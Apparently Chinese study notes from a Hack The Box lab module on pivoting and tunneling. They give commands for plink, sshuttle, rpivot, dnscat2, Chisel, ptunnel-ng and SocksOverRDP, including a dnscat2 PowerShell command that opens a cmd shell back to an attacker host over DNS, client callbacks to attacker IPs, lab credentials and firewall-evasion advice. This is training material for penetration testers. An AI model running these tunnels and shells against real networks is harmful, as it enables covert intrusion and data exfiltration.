SSH for Windows: plink.exe

PlinkPuTTY Link的缩写,是一个Windows命令行SSH工具,安装时作为PuTTY包的一部分。与SSH类似,Plink也可以用于创建动态端口转发和SOCKS代理。在2018年秋季之前,Windows没有包含本地ssh客户端,因此用户必须安装自己的ssh客户端。对于许多需要连接到其他主机的系统管理员来说,选择的工具是 PuTTY

如果我们使用Windows系统而不是基于Linux的系统作为主要攻击主机,我们也可以使用Plink。

img

Windows攻击主机使用以下命令行参数启动plink.exe进程,以在Ubuntu服务器上启动动态端口转发。这启动了Windows攻击主机和Ubuntu服务器之间的SSH会话,然后plink开始在端口9050上侦听。

plink -D 9050 ubuntu@10.129.15.50

另一个名为 Proxifier的基于Windows的工具可以用于通过我们创建的SSH会话启动SOCKS隧道。Proxifier是一个Windows工具,它为桌面客户端应用程序创建隧道网络,允许它通过SOCKS或HTTPS代理进行操作,并允许代理链接。可以创建一个配置文件,在其中我们可以为Plink在端口9050上启动的SOCKS服务器提供配置。

img

在为127.0.0.1和端口9050配置SOCKS服务器后,我们可以直接启动mstsc.exe来启动与允许RDP连接的Windows目标的RDP会话。

SSH Pivoting with Sshuttle

Sshuttle是另一个用Python编写的工具,它消除了配置proxychain的需要。但是,此工具仅适用于通过SSH进行数据透视,而不提供通过TOR或HTTPS代理服务器进行数据透视的其他选项。Sshuttle对于自动执行iptables和为远程主机添加数据透视规则非常有用。我们可以将Ubuntu服务器配置为一个支点,并使用本节稍后的示例使用sshuttle路由Nmap的所有网络流量。 sshuttle的一个有趣用法是,我们不需要使用proxychans来连接到远程主机。让我们通过Ubuntu pivot主机安装sshuttle,并将其配置为通过RDP连接到Windows主机。

Installing sshuttle

Tanin@htb[/htb]$ sudo apt-get install sshuttle

要使用sshuttle,我们指定选项-r以使用用户名和密码连接到远程机器。然后,我们需要包括我们想要通过枢轴主机路由的网络或IP,在我们的情况下,是网络172.16.5.0/23。

Tanin@htb[/htb]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v 

使用此命令,sshuttle在我们的iptables中创建一个条目,通过pivot主机将所有流量重定向到172.16.5.0/23网络。

Traffic Routing through iptables Routes

Tanin@htb[/htb]$ nmap -v -sV -p3389 172.16.5.19 -A -Pn

我们现在可以直接使用任何工具,而无需使用proxychains。

xfreerdp 默认情况下可能不信任自签名证书/cert-ignore 选项会忽略证书验证错误。

Web Server Pivoting with Rpivot

Rpivot

Rpivot是一个用Python编写的用于SOCKS隧道的反向SOCKS代理工具。Rpivot将公司网络内的计算机绑定到外部服务器,并在服务器端公开客户端的本地端口。我们将采用下面的场景,在我们的内部网络上有一个web服务器(172.16.5.135),我们想使用rpivot代理访问它。

img

我们可以使用以下命令启动rpivot SOCKS代理服务器,以允许客户端在端口9999上连接,并在端口9050上侦听代理枢轴连接。

Cloning rpivot

Tanin@htb[/htb]$ sudo git clone https://github.com/klsecservices/rpivot.git

我们可以启动rpivot SOCKS代理服务器,使用server.py连接到受损的Ubuntu服务器上的客户端。

Running server.py from the Attack Host
Tanin@htb[/htb]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

在运行client.py之前,我们需要将rpivot传输到目标。我们可以使用此SCP命令执行此操作:

Transfering rpivot to the Target

Tanin@htb[/htb]$ scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/

Running client.py from Pivot Target

ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

Backconnecting to server 10.10.14.18 port 9999

Confirming Connection is Established

New connection from host 10.129.202.64, source port 35226

我们将在我们的攻击主机127.0.0.1:9050上配置proxychans以在本地服务器上进行转移,该攻击主机最初是由Python服务器启动的。 最后,我们应该能够使用proxychains和Firefox访问服务器端的Web服务器,该服务器托管在172.16.5.0/23的内部网络上,172.16.5.135:80。

Browsing to the Target Webserver using Proxychains

proxychains firefox-esr 172.16.5.135:80

与上面的pivot代理类似,在某些情况下,我们可能无法直接转向云上的外部服务器(攻击主机)。某些组织使用域控制器配置了 HTTP-proxy with NTLM authentication。在这种情况下,我们可以为rpivot提供一个额外的NTLM身份验证选项,通过提供用户名和密码来通过NTLM代理进行身份验证。在这些情况下,我们可以通过以下方式使用rpivot的client.py:

Connecting to a Web Server using HTTP-Proxy & NTLM Auth

python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>

Branching Out Our Tunnels

DNS Tunneling with Dnscat2

Dnscat2

Dnscat2是一种隧道工具,使用DNS协议在两个主机之间发送数据。它使用加密的命令和控制(C&C或C2)通道,并在DNS协议内的TXT记录内发送数据。通常,公司网络中的每个active directory域环境都有自己的DNS服务器,该服务器将主机名解析为IP地址,并将流量路由到参与总体DNS系统的外部DNS服务器。但是,对于dnscat2,地址解析是从外部服务器请求的。当本地DNS服务器试图解析地址时,数据会被过滤并通过网络发送,而不是合法的DNS请求。Dnscat2可以是一种极为隐蔽的方法来过滤数据,同时避免防火墙检测,因为防火墙检测会剥离HTTPS连接并探查流量。对于我们的测试示例,我们可以在攻击主机上使用dnscat2服务器,并在另一台Windows主机上执行dnscat2客户端。

Setting Up & Using dnscat2

如果dnscat2尚未在我们的攻击主机上设置,我们可以使用以下命令进行设置:

Cloning dnscat2 and Setting Up the Server

Tanin@htb[/htb]$ git clone https://github.com/iagox86/dnscat2.git

Starting the dnscat2 server

Tanin@htb[/htb]$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

运行服务器后,它将向我们提供密钥,我们必须将密钥提供给Windows主机上的dnscat2客户端,以便它可以对发送到外部dnscat2服务器的数据进行身份验证和加密。我们可以将客户端与dnscat2项目一起使用,也可以使用 dnscat2-powershell,这是一个基于dnscat2兼容powershell的客户端,我们可以从Windows目标运行该客户端,以与我们的dnscat2服务器建立隧道。我们可以将包含客户端文件的项目克隆到我们的攻击主机,然后将其传输到目标。

Cloning dnscat2-powershell to the Attack Host

Tanin@htb[/htb]$ git clone https://github.com/lukebaggett/dnscat2-powershell.git

一旦dnscat2.ps1文件在目标上,我们就可以导入它并运行相关的cmdlet。

Importing dnscat2.ps1

PS C:\htb> Import-Module .\dnscat2.ps1

导入dnscat2.ps1后,我们可以使用它与运行在我们攻击主机上的服务器建立隧道。我们可以将CMD shell会话发送回我们的服务器。

PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.47 -Domain inlanefreight.local -PreSharedSecret 166752dc4191131dce8195327eb078fe -Exec cmd 

我们必须使用服务器上生成的预共享机密(-PreSharedSecret)来确保我们的会话已建立并加密。如果所有步骤都成功完成,我们将看到与服务器建立的会话。

Confirming Session Establishment

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>

我们可以通过输入?列出dnscat2的选项?在提示下。

dnscat2> ?

Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows

我们可以使用dnscat2与会话进行交互,并在参与的目标环境中进一步移动。在本模块中,我们不会涵盖dnscat2的所有可能性,但我们强烈鼓励您使用它进行练习,甚至可能找到创造性的方法在参与中使用它。让我们与已建立的会话进行交互,然后进入shell。

Interacting with the Established Session

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>

SOCKS5 Tunneling with Chisel

Chisel

Chisel是一个用Go编写的基于TCP/UDP的隧道工具,它使用HTTP传输使用SSH保护的数据。Chisel可以在防火墙受限的环境中创建客户端-服务器隧道连接。让我们考虑一种情况,即我们必须通过隧道将流量传输到172.16.5.0/23网络(内部网络)上的Web服务器。我们有地址为172.16.5.19的域控制器。由于我们的攻击主机和域控制器属于不同的网段,因此攻击主机无法直接访问它。然而,由于我们已经破坏了Ubuntu服务器,我们可以在其上启动一个Chisel服务器,该服务器将监听特定端口,并通过已建立的隧道将我们的流量转发到内部网络。

Setting Up & Using Chisel

在我们使用Chisel之前,我们需要在我们的攻击主机上安装它。如果我们的攻击主机上没有Chisel,我们可以使用下面的命令克隆项目repo:

Tanin@htb[/htb]$ git clone https://github.com/jpillora/chisel.git

我们需要在系统上安装编程语言Go来构建Chisel二进制文件。在系统上安装Go后,我们可以进入该目录,并使用Go-build构建Chisel二进制文件。

Building the Chisel Binary

Tanin@htb[/htb]$ cd chisel
go build

注意我们传输到客户网络上目标上的文件的大小可能会有所帮助,这不仅是出于性能原因,还考虑到检测。补充这一特定概念的两个有益资源是Oxdf的博客文章“Tunneling with Chisel and SSF”和IppSec对盒子Reddish的演练。IppSec在视频的24:29开始解释Chisel,构建二进制并缩小二进制的大小。 一旦构建了二进制文件,我们就可以使用SCP将其传输到目标枢轴主机。

anin@htb[/htb]$ scp chisel ubuntu@10.129.202.64:~/
 
ubuntu@10.129.202.64's password: 
chisel                                        100%   11MB   1.2MB/s   00:09    

Then we can start the Chisel server/listener.

Running the Chisel Server on the Pivot Host

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

2022/05/05 18:16:25 server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234

Chisel侦听器将使用SOCKS5(–SOCKS5)侦听端口1234上的传入连接,并将其转发到可从枢轴主机访问的所有网络。在我们的案例中,枢轴主机在172.16.5.0/23网络上有一个接口,这将允许我们访问该网络上的主机。 我们可以在攻击主机上启动客户端并连接到Chisel服务器。

Connecting to the Chisel Server

Tanin@htb[/htb]$ ./chisel client -v 10.129.202.64:1234 socks

2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected

正如您在上面的输出中看到的,Chisel客户端已经通过HTTP在Chisel服务器和客户端之间创建了一个TCP/UDP隧道,该隧道使用SSH进行安全保护,并且已经开始在1080端口上侦听。现在,我们可以修改位于/etc/proxychans.conf的proxychans.cconf文件,并在末尾添加1080端口,这样我们就可以使用proxychans使用创建的1080端口和SSH隧道之间的隧道进行透视。

Tanin@htb[/htb]$ tail -f /etc/proxychains.conf 

#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

现在,如果我们使用RDP的proxychains,我们可以通过我们创建的到Pivot主机的隧道连接到内部网络上的DC。

Tanin@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Chisel Reverse Pivot

在前面的例子中,我们使用受损的机器(Ubuntu)作为Chisel服务器,在端口1234上列出。尽管如此,在某些情况下,防火墙规则可能会限制与受损目标的入站连接。在这种情况下,我们可以将Chisel与反向选项一起使用。 当Chisel服务器启用了–reverse时,remotes可以加上前缀R来表示reverse。服务器将侦听并接受连接,并且它们将通过指定远程的客户端进行代理。指定R:socks的反向远程将侦听服务器的默认socks端口(1080),并终止客户端内部SOCKS5代理的连接。 我们将使用选项–reverse在攻击主机中启动服务器。

Starting the Chisel Server on our Attack Host

Tanin@htb[/htb]$ sudo ./chisel server --reverse -v -p 1234 --socks5

2022/05/30 10:19:16 server: Reverse tunnelling enabled
2022/05/30 10:19:16 server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234

我们可以使用任何编辑器来编辑proxyains.conf文件,然后使用tail确认我们的配置更改。

Tanin@htb[/htb]$ tail -f /etc/proxychains.conf 

[ProxyList]
# add proxy here ...
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080 
ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks

2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234
2022/05/30 14:19:29 client: Handshaking...
2022/05/30 14:19:30 client: Sending config
2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
2022/05/30 14:19:30 client: tun: SSH connected

如果我们将proxychains与RDP一起使用,我们可以通过我们创建的到Pivot主机的隧道连接到内部网络上的DC。

Tanin@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

ICMP Tunneling with SOCKS

ICMP隧道将您的流量封装在包含回显请求和响应的ICMP数据包中。ICMP隧道只有在防火墙网络中允许ping响应时才能工作。当防火墙网络中的主机被允许对外部服务器进行ping时,它可以将其流量封装在ping回显请求中,并将其发送到外部服务器。外部服务器可以验证此流量并发送适当的响应,这对于数据泄露和创建到外部服务器的数据透视隧道非常有用。 我们将使用ptunnel ng工具在Ubuntu服务器和攻击主机之间创建一个隧道。一旦创建了隧道,我们将能够通过 ptunnel-ng 客户端代理我们的流量。我们可以在目标pivot主机上启动ptunnel ng服务器。让我们从设置ptunnel ng开始。

Setting Up & Using ptunnel-ng

Tanin@htb[/htb]$ git clone https://github.com/utoni/ptunnel-ng.git

Building Ptunnel-ng with Autogen.sh

Tanin@htb[/htb]$ sudo ./autogen.sh 

在运行autogen.sh之后,可以从客户端和服务器端使用ptunnel ng。我们现在需要将回购从我们的攻击主机转移到目标主机。如前几节所述,我们可以使用SCP来传输文件。如果我们想传输整个repo和其中包含的文件,我们需要将-r选项与SCP一起使用。 将Ptunnel ng传输到数据透视主机

Tanin@htb[/htb]$ scp -r ptunnel-ng ubuntu@10.129.202.64:~/

Starting the ptunnel-ng Server on the Target Host

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.202.64 -R22

[sudo] password for ubuntu: 
./ptunnel-ng: /lib/x86_64-linux-gnu/libselinux.so.1: no version information available (required by ./ptunnel-ng)
[inf]: Starting ptunnel-ng 1.42.
[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
[inf]: (c) 2017-2019 Toni Uhlig,     <matzeton@googlemail.com>
[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Forwarding incoming ping packets over TCP.
[inf]: Ping proxy is listening in privileged mode.
[inf]: Dropping privileges now.

-r后面的IP地址应该是我们希望ptunnel ng接受连接的IP。在这种情况下,我们将使用从我们的攻击主机可以访问的任何IP。在实际参与过程中使用同样的想法和考虑会使我们受益。 回到攻击主机上,我们可以尝试连接到ptunnel ng服务器(-p<ipAddress-Target>),但要确保通过本地端口2222(-l2222)进行连接。通过本地端口2222连接允许我们通过ICMP隧道发送流量。

Tanin@htb[/htb]$ sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22

[inf]: Starting ptunnel-ng 1.42.
[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
[inf]: (c) 2017-2019 Toni Uhlig,     <matzeton@googlemail.com>
[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Relaying packets from incoming TCP streams.

随着ptunnel ng ICMP隧道的成功建立,我们可以尝试通过本地端口2222(-p2222)使用SSH连接到目标。

Tanin@htb[/htb]$ ssh -p2222 -lubuntu 127.0.0.1

如果配置正确,我们将能够通过ICMP隧道输入凭据并进行SSH会话。 在连接的客户端和服务器端,我们会注意到ptunnel ng为我们提供了与通过ICMP隧道的流量相关的会话日志和流量统计信息。这是我们可以使用ICMP确认流量从客户端传递到服务器的一种方式。

Enabling Dynamic Port Forwarding over SSH

Tanin@htb[/htb]$ ssh -D 9050 -p2222 -lubuntu 127.0.0.1

ubuntu@127.0.0.1's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<snip>

我们可以使用带有Nmap的proxychains扫描内部网络上的目标(172.16.5.x)。根据我们的发现,我们可以尝试连接到目标。

Tanin@htb[/htb]$ proxychains nmap -sV -sT 172.16.5.19 -p3389

Network Traffic Analysis Considerations

重要的是,我们要确认我们正在使用的工具是否如广告所示,并且我们已经设置并正确操作了它们。在使用ICMP隧道通过本节中教导的不同协议对流量进行隧道传输的情况下,我们可以从使用Wireshark等数据包分析器分析生成的流量中受益。仔细看一下下面的短片。

img

在这个片段的第一部分中,通过SSH建立连接,而不使用ICMP隧道。我们可能会注意到,TCP&SSHv2流量被捕获。 剪辑中使用的命令:sshubuntu@10.129.202.64 在本片段的第二部分中,使用ICMP隧道通过SSH建立连接。请注意执行此操作时捕获的流量类型。 剪辑中使用的命令:ssh-p222-lubuntu 127.0.0.1

RDP and SOCKS Tunneling with SocksOverRDP

在评估过程中,有时我们可能仅限于Windows网络,并且可能无法使用SSH进行数据透视。在这种情况下,我们必须使用适用于Windows操作系统的工具。SocksOverRDP是一个使用Windows远程桌面服务功能中的动态虚拟频道(DVC)的工具示例。DVC负责通过RDP连接对数据包进行隧道传输。使用此功能的一些示例是剪贴板数据传输和音频共享。然而,此功能也可用于通过网络传输任意数据包。我们可以使用SocksOverRDP来传输我们的自定义数据包,然后通过它进行代理。我们将使用工具 Proxifier作为我们的代理服务器。 我们可以从将适当的二进制文件下载到我们的攻击主机开始执行此攻击。在我们的攻击主机上拥有二进制文件将使我们能够将它们转移到需要的每个目标。我们需要:

SocksOverRDP x64 Binaries二进制文件

Proxifier Portable Binary

我们可以查找ProxifierPE.zip 然后,我们可以使用xfreerdp连接到目标,并将SocksOverRDP64.zip文件复制到目标。然后,我们需要从Windows目标加载使用regsvr32.exe的SocksOverRDP.dll。

Loading SocksOverRDP.dll using regsvr32.exe

C:\Users\htb-student\Desktop\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

现在,我们可以使用mstsc.exe通过RDP连接到172.16.5.19,我们应该会收到一个提示,即SocksOverRDP插件已启用,它将在127.0.0.1:1080上侦听。我们可以使用胜利者的凭据:pass@123连接到172.16.5.19。

我们需要将SocksOverRDP64.zip或仅将SocksOverRDP-Server.exe传输到172.16.5.19。然后,我们可以使用管理员权限启动SocksOverRDP-Server.exe。

当我们回到我们的立足点目标并查看Netstat时,我们应该会看到我们的SOCKS侦听器在127.0.0.1:1080。

C:\Users\htb-student\Desktop\SocksOverRDP-x64> netstat -antb | findstr 1080

  TCP    127.0.0.1:1080         0.0.0.0:0              LISTENING

启动我们的侦听器后,我们可以将Proxizer便携式传输到Windows 10目标(在10.129.x.x网络上),并将其配置为将我们的所有数据包转发到127.0.0.1:1080。Proxifier将通过给定的主机和端口路由流量。有关配置Proxifier的快速演练,请参阅下面的片段。

Configuring Proxifier

img

配置并运行Proxizer后,我们可以启动mstsc.exe,它将使用Proxizer通过127.0.0.1:1080将我们的所有流量进行枢轴传输,这将通过RDP将其传输到172.16.5.19,然后通过SocksOverRDP-server.exe将其路由到172.16.6.155。

RDP Performance Considerations

当在约定中与RDP会话交互时,我们可能会发现自己在给定会话中遇到性能缓慢的问题,尤其是当我们同时管理多个RDP会话时。如果是这种情况,我们可以访问mstsc.exe中的“体验”选项卡,并将“性能”设置为“调制解调器”。

img